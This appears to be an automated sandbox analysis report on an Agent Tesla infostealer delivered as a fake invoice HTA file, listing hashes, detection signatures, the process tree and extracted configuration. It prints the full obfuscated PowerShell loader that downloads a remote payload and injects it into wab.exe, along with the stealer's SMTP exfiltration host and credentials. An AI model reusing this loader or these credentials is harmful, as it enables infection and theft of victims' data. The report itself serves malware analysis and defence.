Analysis
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max time kernel
138s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 02:40
Static task
static1
Behavioral task
behavioral1
Sample
001761801735.INV.AWB.CO.SOF.20240521.100033.20240521.100205.194286.TIF.hta
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
001761801735.INV.AWB.CO.SOF.20240521.100033.20240521.100205.194286.TIF.hta
Resource
win10v2004-20240426-en
General
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Target
001761801735.INV.AWB.CO.SOF.20240521.100033.20240521.100205.194286.TIF.hta
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Size
5KB
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MD5
3ef5759d457c58dc4c8c9b6c15aca5fe
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SHA1
be35dffec6716bfe6ece66f7e140b8df97d5b994
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SHA256
17e34e2c81eba5e138e335393b981fc11e2b21db0eecb2bc740dbbff7b9f8f32
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SHA512
c6b8c4452b774cd782b75891048ca0aacf1ffd0af55536e0d3a7643b6821b46004225b47bc4fbc81fd95c5f6f6aa0eb6dc34f659d0654b29a05b521c431b45e8
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SSDEEP
96:buOGiiV+5y/gkgBONHwBB9HaXa3U+1hTIbtu7ZEhtNsim57V+ICgCtUfkX:ypD/gkgywP9HaKk+rTIBeuhtNN2CLtUY
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.bunturaja.co.id - Port:
587 - Username:
[email protected] - Password:
!@#$%,.Jakarta - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4284-56-0x0000000000ED0000-0x0000000002124000-memory.dmp INDICATOR_EXE_Packed_GEN01 behavioral2/memory/4284-57-0x0000000000ED0000-0x0000000000F12000-memory.dmp INDICATOR_EXE_Packed_GEN01 -
Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4284-56-0x0000000000ED0000-0x0000000002124000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/4284-57-0x0000000000ED0000-0x0000000000F12000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers -
Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4284-56-0x0000000000ED0000-0x0000000002124000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL behavioral2/memory/4284-57-0x0000000000ED0000-0x0000000000F12000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL -
Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4284-56-0x0000000000ED0000-0x0000000002124000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID behavioral2/memory/4284-57-0x0000000000ED0000-0x0000000000F12000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID -
Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4284-56-0x0000000000ED0000-0x0000000002124000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store behavioral2/memory/4284-57-0x0000000000ED0000-0x0000000000F12000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store -
Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4284-56-0x0000000000ED0000-0x0000000002124000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients behavioral2/memory/4284-57-0x0000000000ED0000-0x0000000000F12000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients -
Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs
Processes:
resource yara_rule behavioral2/memory/4284-56-0x0000000000ED0000-0x0000000002124000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients behavioral2/memory/4284-57-0x0000000000ED0000-0x0000000000F12000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 26 544 powershell.exe 28 544 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation mshta.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 55 api.ipify.org 56 api.ipify.org 57 ip-api.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 4284 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 1460 powershell.exe 4284 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1460 set thread context of 4284 1460 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 544 powershell.exe 544 powershell.exe 1460 powershell.exe 1460 powershell.exe 1460 powershell.exe 1460 powershell.exe 4284 wab.exe 4284 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 1460 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 544 powershell.exe Token: SeDebugPrivilege 1460 powershell.exe Token: SeDebugPrivilege 4284 wab.exe -
Suspicious use of WriteProcessMemory 17 IoCs
Processes:
mshta.exepowershell.exepowershell.exedescription pid process target process PID 3808 wrote to memory of 544 3808 mshta.exe powershell.exe PID 3808 wrote to memory of 544 3808 mshta.exe powershell.exe PID 3808 wrote to memory of 544 3808 mshta.exe powershell.exe PID 544 wrote to memory of 3628 544 powershell.exe cmd.exe PID 544 wrote to memory of 3628 544 powershell.exe cmd.exe PID 544 wrote to memory of 3628 544 powershell.exe cmd.exe PID 544 wrote to memory of 1460 544 powershell.exe powershell.exe PID 544 wrote to memory of 1460 544 powershell.exe powershell.exe PID 544 wrote to memory of 1460 544 powershell.exe powershell.exe PID 1460 wrote to memory of 4232 1460 powershell.exe cmd.exe PID 1460 wrote to memory of 4232 1460 powershell.exe cmd.exe PID 1460 wrote to memory of 4232 1460 powershell.exe cmd.exe PID 1460 wrote to memory of 4284 1460 powershell.exe wab.exe PID 1460 wrote to memory of 4284 1460 powershell.exe wab.exe PID 1460 wrote to memory of 4284 1460 powershell.exe wab.exe PID 1460 wrote to memory of 4284 1460 powershell.exe wab.exe PID 1460 wrote to memory of 4284 1460 powershell.exe wab.exe
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\001761801735.INV.AWB.CO.SOF.20240521.100033.20240521.100205.194286.TIF.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3808 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Bankerottens = 1;$Oversacrificially='Sub';$Oversacrificially+='strin';$Oversacrificially+='g';Function Anticipant($Harmonize){$Rjseren80=$Harmonize.Length-$Bankerottens;For($Papegjesygen18=1;$Papegjesygen18 -lt $Rjseren80;$Papegjesygen18+=2){$Funktionstegningernes+=$Harmonize.$Oversacrificially.Invoke( $Papegjesygen18, $Bankerottens);}$Funktionstegningernes;}function Harskes($Herligheds){. ($Undersay) ($Herligheds);}$Formularlngdes=Anticipant 'VM oGzbi.l.l.aS/ 5G.M0F (FW iYn dSoSwWsS MN TI ,1V0 .S0U;. ,WFiEn 6 4F;V SxU6E4D;C rUv :M1,2E1.. 0.)U MG e cFkso /M2C0 1W0F0H1.0,1S CFDi.rBeTf oLxP/B1 2i1..R0 ';$Baglokalers=Anticipant ' U sPeOrM- ACgSeMnUt. ';$Indpodede=Anticipant '.h.tVt pBs,: /L/ d r,iKvRe ..gMoBo g.l e . c oOm,/ u cG?.e x pAo.r t =Fd,osw nZlFo a d &Oi,d =,1V7HG yRc eHO.U WC7 OIK,NDbPJHW Q.X x 4L9,cSB jfIOQ.lHvN-DM BFlKkR ';$Ogamic=Anticipant ' > ';$Undersay=Anticipant 'Ri e.x. ';$Goalage='Hovedmenuernes';$Miljmyndigheds = Anticipant ' eKcbh.oU E%Wa,pbpsdCaEtUaR%.\MFbdSeSg oDd sFeQr n e .HCDoTnU I&S&J Me c hUoK .t, ';Harskes (Anticipant ',$ g lRoAbSaHlP: dIi s,bAa nMd e d =M( cImBd. /Cc T$FMTiel jfm,ySn dSiFg h eFd s,)T ');Harskes (Anticipant 'G$CgKlVoJb.aDl :DA n.n.e.k,s kDi r kBeBsa=P$KIGnSd.p oBd.eAdBeS.,sGpllSiht.(A$,O g.a,mBi,c.)C ');$Indpodede=$Annekskirkes[0];$Revisorforeningens= (Anticipant 'C$.g.lDo,bNaLlM:aOGmSs tTr.u,k tUuvrSe.rSi,nHgRe r,=,N,e wB-SOnb.j,e c tM S y sFt,egmA.PNFeCtT..W,e,b C,lFiSePn t');$Revisorforeningens+=$disbanded[1];Harskes ($Revisorforeningens);Harskes (Anticipant 'R$,O,mNsMt rCuRkDtBu.r eRr i n.g.e,rA.,HRe,a,d e r s,[ $PBLa.gUlUo.kta lBe,r,s ],=,$GFSobr,m uKlFa,rVl nTg d.e sE ');$Countersunken196=Anticipant ',$NOSmBs tFr uGk tPuFr,e r i n g e r..BDNoKwMnSlOo a d F.iSl,e.(.$.I.n,d pAoDdAeFdBeR, $ Z i.nTyCa,mRu n gZa )I ';$Zinyamunga=$disbanded[0];Harskes (Anticipant ' $NgblSo bBaFl :AO p h,vMe,sa=D(WTAe.sHt -SP a,tBhM .$.Z.i.n y a mCu n,g aP)C ');while (!$Ophves) {Harskes (Anticipant ' $,g,l o.bFa lb:KAIn dde,sobFj,e rFgEeOn e,1F2.3 =R$UtCr u eS ') ;Harskes $Countersunken196;Harskes (Anticipant ',S t aHrVtS- SAl eKePp, T4. ');Harskes (Anticipant 'f$ g.l o,bTa.lO:OOHpEh,v.e,sN=A( TBeCsStS-.PGa tPh, T$SZ i nAy.aMm u nPgNaa) ') ;Harskes (Anticipant 'g$Fg lToPboaHlA:UF.y.r sLt,eCr sB=P$,gSlSoBb.a l :VT wSi n eNl,eBs sC+ +U%K$.A.n nSeJkPs k,i rHk eEsP.Bc.o usn,tR ') ;$Indpodede=$Annekskirkes[$Fyrsters];}$Stormagasiners=352755;$Terreplein=25708;Harskes (Anticipant 'F$ gSl o,b a l.:sRFe g e ncs iPa n eDrSsH A= LGNe,t -SC o,n tPe.n tH S$ ZBi,nTyPaSm u,n g,a ');Harskes (Anticipant ' $ g,l oAbPaFlc:fV bBnKeFtF S= K[ SAyAsDt,e mW. CRoSnSvne r.t,] : : F.rHo m BHaOsSeU6.4AS.tNrci.nMg.(A$PRAeggFeSn sSiTa.n e,r sW)C ');Harskes (Anticipant 'A$bg l,oIb a lB:DBSrEu m a l .= [,S y s t.e m,.,TVe.xRt . ESn,c,oBd iSnUg ]I:A:,AVSHCBI IE.LG,eSt,Sdt,rTi.nHgE(S$KVEbTn eCtN)T ');Harskes (Anticipant 'F$,g l o b a lL: REe tCsSb e t.jTe,nFt = $bB,r uFmSa.lL.,sDu bIs tIrCi,nfg (A$ S t oOrBmRaMg aPs,i nKeErCs., $VTIe,r r,e.pPl,e,isn.), ');Harskes $Retsbetjent;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:544 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fdegodserne.Con && echo t"3⤵PID:3628
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Bankerottens = 1;$Oversacrificially='Sub';$Oversacrificially+='strin';$Oversacrificially+='g';Function Anticipant($Harmonize){$Rjseren80=$Harmonize.Length-$Bankerottens;For($Papegjesygen18=1;$Papegjesygen18 -lt $Rjseren80;$Papegjesygen18+=2){$Funktionstegningernes+=$Harmonize.$Oversacrificially.Invoke( $Papegjesygen18, $Bankerottens);}$Funktionstegningernes;}function Harskes($Herligheds){. ($Undersay) ($Herligheds);}$Formularlngdes=Anticipant 'VM oGzbi.l.l.aS/ 5G.M0F (FW iYn dSoSwWsS MN TI ,1V0 .S0U;. ,WFiEn 6 4F;V SxU6E4D;C rUv :M1,2E1.. 0.)U MG e cFkso /M2C0 1W0F0H1.0,1S CFDi.rBeTf oLxP/B1 2i1..R0 ';$Baglokalers=Anticipant ' U sPeOrM- ACgSeMnUt. ';$Indpodede=Anticipant '.h.tVt pBs,: /L/ d r,iKvRe ..gMoBo g.l e . c oOm,/ u cG?.e x pAo.r t =Fd,osw nZlFo a d &Oi,d =,1V7HG yRc eHO.U WC7 OIK,NDbPJHW Q.X x 4L9,cSB jfIOQ.lHvN-DM BFlKkR ';$Ogamic=Anticipant ' > ';$Undersay=Anticipant 'Ri e.x. ';$Goalage='Hovedmenuernes';$Miljmyndigheds = Anticipant ' eKcbh.oU E%Wa,pbpsdCaEtUaR%.\MFbdSeSg oDd sFeQr n e .HCDoTnU I&S&J Me c hUoK .t, ';Harskes (Anticipant ',$ g lRoAbSaHlP: dIi s,bAa nMd e d =M( cImBd. /Cc T$FMTiel jfm,ySn dSiFg h eFd s,)T ');Harskes (Anticipant 'G$CgKlVoJb.aDl :DA n.n.e.k,s kDi r kBeBsa=P$KIGnSd.p oBd.eAdBeS.,sGpllSiht.(A$,O g.a,mBi,c.)C ');$Indpodede=$Annekskirkes[0];$Revisorforeningens= (Anticipant 'C$.g.lDo,bNaLlM:aOGmSs tTr.u,k tUuvrSe.rSi,nHgRe r,=,N,e wB-SOnb.j,e c tM S y sFt,egmA.PNFeCtT..W,e,b C,lFiSePn t');$Revisorforeningens+=$disbanded[1];Harskes ($Revisorforeningens);Harskes (Anticipant 'R$,O,mNsMt rCuRkDtBu.r eRr i n.g.e,rA.,HRe,a,d e r s,[ $PBLa.gUlUo.kta lBe,r,s ],=,$GFSobr,m uKlFa,rVl nTg d.e sE ');$Countersunken196=Anticipant ',$NOSmBs tFr uGk tPuFr,e r i n g e r..BDNoKwMnSlOo a d F.iSl,e.(.$.I.n,d pAoDdAeFdBeR, $ Z i.nTyCa,mRu n gZa )I ';$Zinyamunga=$disbanded[0];Harskes (Anticipant ' $NgblSo bBaFl :AO p h,vMe,sa=D(WTAe.sHt -SP a,tBhM .$.Z.i.n y a mCu n,g aP)C ');while (!$Ophves) {Harskes (Anticipant ' $,g,l o.bFa lb:KAIn dde,sobFj,e rFgEeOn e,1F2.3 =R$UtCr u eS ') ;Harskes $Countersunken196;Harskes (Anticipant ',S t aHrVtS- SAl eKePp, T4. ');Harskes (Anticipant 'f$ g.l o,bTa.lO:OOHpEh,v.e,sN=A( TBeCsStS-.PGa tPh, T$SZ i nAy.aMm u nPgNaa) ') ;Harskes (Anticipant 'g$Fg lToPboaHlA:UF.y.r sLt,eCr sB=P$,gSlSoBb.a l :VT wSi n eNl,eBs sC+ +U%K$.A.n nSeJkPs k,i rHk eEsP.Bc.o usn,tR ') ;$Indpodede=$Annekskirkes[$Fyrsters];}$Stormagasiners=352755;$Terreplein=25708;Harskes (Anticipant 'F$ gSl o,b a l.:sRFe g e ncs iPa n eDrSsH A= LGNe,t -SC o,n tPe.n tH S$ ZBi,nTyPaSm u,n g,a ');Harskes (Anticipant ' $ g,l oAbPaFlc:fV bBnKeFtF S= K[ SAyAsDt,e mW. CRoSnSvne r.t,] : : F.rHo m BHaOsSeU6.4AS.tNrci.nMg.(A$PRAeggFeSn sSiTa.n e,r sW)C ');Harskes (Anticipant 'A$bg l,oIb a lB:DBSrEu m a l .= [,S y s t.e m,.,TVe.xRt . ESn,c,oBd iSnUg ]I:A:,AVSHCBI IE.LG,eSt,Sdt,rTi.nHgE(S$KVEbTn eCtN)T ');Harskes (Anticipant 'F$,g l o b a lL: REe tCsSb e t.jTe,nFt = $bB,r uFmSa.lL.,sDu bIs tIrCi,nfg (A$ S t oOrBmRaMg aPs,i nKeErCs., $VTIe,r r,e.pPl,e,isn.), ');Harskes $Retsbetjent;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1460 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fdegodserne.Con && echo t"4⤵PID:4232
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4284
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
53KB
MD5d4d8cef58818612769a698c291ca3b37
SHA154e0a6e0c08723157829cea009ec4fe30bea5c50
SHA25698fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0
SHA512f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
492KB
MD51fe03ff02fd5bae7e909af7c3471a4c7
SHA1cb1bb668c0e0191b63d7aac5ecd4117b8d05647e
SHA256b9aa136cd82e7b1c7381598d12be3297722ef09c005344168594fc5a1ed1414b
SHA51283d9a6c8de897c7d98b30117f7a94bd1048e33cd47961d75fd6ac0c7cf870ad6949265485b91a899f81fd5a0fca03a295281c4a6e46f29034b1db11b61e9696d